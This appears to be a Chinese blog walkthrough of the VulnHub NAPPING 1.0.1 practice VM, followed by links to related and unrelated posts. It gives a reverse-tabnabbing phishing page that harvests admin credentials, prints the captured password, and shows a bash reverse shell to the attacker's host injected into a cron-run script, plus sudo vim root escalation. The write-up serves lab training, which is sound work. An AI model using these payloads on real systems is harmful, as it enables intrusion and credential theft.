准备：

攻击机：虚拟机kali、本机win10。

靶机：NAPPING: 1.0.1，地址我这里设置的桥接，，下载地址：https://download.vulnhub.com/napping/napping-1.0.1.ova.torrent，下载后直接VirtualBox打开，如果使用vm打开可能会存在ip问题。

涉及的知识点：vim提权、Tabnabbing漏洞利用、shell反弹。

信息收集：

先扫描以下网段内的主机ip，获取下靶机的ip地址：nmap 192.168.1.0/24。

使用nmap扫描靶机开放端口对应的具体服务信息，命令：nmap -T4 -sV -p- -A 192.168.1.4。

使用目录扫描工具对目录进行扫描，这里使用的是dirmap，命令：python dirmap.py -i http://192.168.1.4/ -lcf，发现index.php、config.php等文件，但是config.php显示是空白。

靶机开放了80端口，请求下：http://192.168.1.4/，查看下web端，发现是一个登录界面，进行了简单的注入测试，但是未成功，那就先注册一个：admin/admin123进行登录。

注册登录之后的界面：

这里告诉我们可以发送自定义链接并且这个链接会被管理员检查，我们先发送一个https://www.baidu.com/进行提交测试，发现会生成一个指向百度的超链接并且在其代码中发现a标签中只有target=_blank，而没有使用rel="noopener/noreferrer"属性，因此这里可能存在Tabnabbing漏洞（钓鱼攻击）。

漏洞攻击：

关于漏洞的利用原理，这里用一个图说明以下，这里的超链接B就是我们输入要提交的链接，界面C是靶机80端口的登录界面，这样我们才可以诱导管理员账户登录我们伪造的界面，获取到管理员的账户信息。

首先制作恶意界面upfine.html，代码信息：

<!DOCTYPE html>

<html>

<body>

    <script>

    	if(window.opener) window.opener.parent.location.replace('http://192.168.1.12:6688/get_info.html');

    	if(window.opener  != window) window.opener.parent.location.replace('http://192.168.1.12::6688/get_info.html');

    </script>

</body>

</html>

然后退出登录在登录界面检查源代码信息并进行复制，生成get_info.html，代码信息如下：



<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Login</title>

    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">

    <style>

        body{ font: 14px sans-serif; }

        .wrapper{ width: 360px; padding: 20px; }

    </style>

</head>

<body>

    <div class="wrapper">

        <h2>Login</h2>

        <p>Please fill in your credentials to login.</p>

        <form action="/index.php" method="post">

            <div class="form-group">

                <label>Username</label>

                <input type="text" name="username" class="form-control " value="">

                <span class="invalid-feedback"></span>

            </div>

            <div class="form-group">

                <label>Password</label>

                <input type="password" name="password" class="form-control ">

                <span class="invalid-feedback"></span>

            </div>

            <div class="form-group">

                <input type="submit" class="btn btn-primary" value="Login">

            </div>

            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>

        </form>

    </div>

</body>

</html>

然后将制作的upfine.html页面和get_info.html页面放入到kali中的一个目录下并开启web服务：python -m http.server 80，同时开启对6688端口的监听：nc -lvvp 6688，然后将http://192.168.1.12/upfine.html地址进行提交，监听窗口成功获得账户名和密码（%40是@）：daniel/C@ughtm3napping123。

 ssh远程登录：

获得账户密码之后采用xshell进行远程登录。

提权：

ssh登录查看id时发现其属于administrators组，因此查一下此用户组下可以运行的程序，命令：find / -group administrators 2>/dev/null，发现/home/adrian/query.py文件。

发现site_status.txt文件每两分钟写入一次，就表明query.py每两分钟执行一次，因此我们就可以写入反弹shell的脚本来让query.py脚本进行执行，获取更高的权限的shell。

在/home/daniel下写入shell.sh文件，文件内容如下：

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'

然后在query.py文件中添加对shell.sh脚本的执行，内容如下：

import os

os.system('/usr/bin/bash /home/daniel/shell.sh')

在kali端开启对8899端口的监听，成功获取到adrina用户的shell权限。

 VIM提权：

在adrian用户的shell里执行sudo -l发现vim权限可以不需要root密码即可执行，那就使用vim直接写入shell，命令：sudo vim -c ':!/bin/bash'，成功获取root权限shell。

通过：python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell。

vulnhub靶场|NAPPING: 1.0.1的更多相关文章

  1. vulnhub靶场之AI-WEB1.0渗透记录

    在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程 目录 一.确认靶机ip 二.端口&目录扫描 三.查看敏感目录 四.sql注入 五.get shell 六.系统提权 确认靶机ip ka ...

  2. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  8. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 为美多商城(Django2.0.4)添加基于websocket的实时通信，主动推送，聊天室及客服系统

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_67 websocket是个啥? webSocket是一种在单个TCP连接上进行全双工通信的协议 webSocket使得客户端和服务 ...

  2. Redis 定长队列的探索和实践

    vivo 互联网服务器团队 - Wang Zhi 一.业务背景 从技术的角度来说,技术方案的选型都是受限于实际的业务场景,都以解决实际业务场景为目标. 在我们的实际业务场景中,需要以游戏的维度收集和上 ...

  3. 成为 Apache 贡献者，So easy！

    点击上方蓝字关注 Apache DolphinScheduler Apache DolphinScheduler(incubating),简称"DS", 中文名 "海豚调 ...

  4. 羽夏看Linux内核——引导启动（上）

    写在前面   此系列是本人一个字一个字码出来的,包括示例和实验截图.如有好的建议,欢迎反馈.码字不易,如果本篇文章有帮助你的,如有闲钱,可以打赏支持我的创作.如想转载,请把我的转载信息附在文章后面,并 ...

  5. APT 安装 MySQL 提示错误：dpkg: error: dpkg frontend lock is locked by another process

    在安装 MySQL 的时候提示错误: ubuntu@VM-0-6-ubuntu:/opt$ sudo dpkg -i mysql-apt-config_0.8.22-1_all.deb dpkg: e ...

  6. JS的简介

    JS式JavaScript的简称,它是一门弱语言,它可以实现让网页动起来 JS的构成 核心(ECMAScript) 文档对象模型(DOM)-- Document Object  Module 浏览器对 ...

  7. [开源内卷] .NET 定时任务 -- FreeScheduler 支持 cron、持久化、可变定时设置

    前言 卷了,卷了,卷了,最近太卷...这篇文章写了好几天了,由于同类型文章太多,排期到今天发布.实在不想卷,得罪了!各位定时任务开源大佬们! .NET 定时组件生态实在太强大了,写下此文只希望能供大家 ...

  8. 【NOI P模拟赛】校门外歪脖树上的鸽子（树链剖分）

    题面 2 ≤ n ≤ 2 × 1 0 5 , 1 ≤ m ≤ 2 × 1 0 5 , 1 ≤ l ≤ r ≤ n , 1 ≤ d ≤ 1 0 8 2 ≤ n ≤ 2 × 10^5,1 ≤ m ≤ 2 ...

  9. Spring MVC组件之HandlerAdapter

    Spring MVC组件之HandlerAdapter HandlerAdapter概述 HandlerAdapter组件是一个处理器Handler的适配器.HandlerAdapter组件的主要作用 ...

  10. Docker 安装 MySQL、Redis

    1 Docker 中安装 Redis 1.1 创建目录 在硬盘上创建 redis 的数据目录: mkdir -p /Users/yygnb/dockerMe/redis/data 为该目录添加权限: ...